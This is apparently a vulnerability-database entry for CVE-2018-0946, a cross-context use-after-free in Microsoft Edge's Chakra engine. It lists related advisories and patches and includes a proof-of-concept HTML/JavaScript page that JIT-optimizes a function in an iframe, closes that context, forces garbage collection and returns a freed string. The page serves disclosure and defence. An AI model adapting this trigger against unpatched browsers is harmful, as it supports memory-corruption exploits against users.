Microsoft Edge: Chakra: Cross context bug(CVE-2018-0946)

🗓️ 08 Jun 2018 00:00:00Reported by KnownsecType

Chakra Cross context bug in Microsoft Edg

Reporter	Title	Published	Views	Family All 48
Circl	CVE-2018-0946	25 May 201800:00	–	circl
CNVD	Microsoft ChakraCore and Edge Remote Code Execution Vulnerability (CNVD-2018-10208)	9 May 201800:00	–	cnvd
Check Point Advisories	Microsoft Edge Scripting Engine Memory Corruption (CVE-2018-0946)	8 May 201800:00	–	checkpoint_advisories
CVE	CVE-2018-0946	9 May 201819:00	–	cve
Cvelist	CVE-2018-0946	9 May 201819:00	–	cvelist
EUVD	EUVD-2022-4070	9 May 201819:00	–	euvd
EUVD	EUVD-2022-5586	9 May 201819:00	–	euvd
Github Security Blog	ChakraCore RCE Vulnerability	13 May 202201:18	–	github
Microsoft KB	May 8, 2018—KB4103721 (OS Build 17134.48)	8 May 201807:00	–	mskb
Microsoft KB	May 8, 2018—KB4103727 (OS Build 16299.431)	8 May 201807:00	–	mskb


                                                <body>
<script>
let f = document.body.appendChild(document.createElement('iframe'));
let wrapped_dv = f.contentWindow.eval(`
    function opt() {
        return 'xxxx';
    }

    // Optimizing "opt", so that the address of 'xxxx' can be inlineed.
    for (let i = 0; i < 100000; i++) {
        opt();
    }

    let dv = new DataView(new ArrayBuffer(0));
    dv.buffer.opt = opt;
    dv;
`);

let buffer = DataView.prototype.__lookupGetter__('buffer').call(wrapped_dv);
let opt = buffer.opt;

f.onload = () => {
    f.onload = null;

    // Garbage collection
    for (let i = 0; i < 10; i++)
        new ArrayBuffer(1024 * 1024 * 40);

    let obj = opt();  // "opt" returns the freed string constant.
    alert(obj);
};

// Closing the diffrent context
f.src = 'about:blank';

</script>
</body>

08 Jun 2018 00:00Current

7.9High risk

Vulners AI Score7.9

EPSS0.63585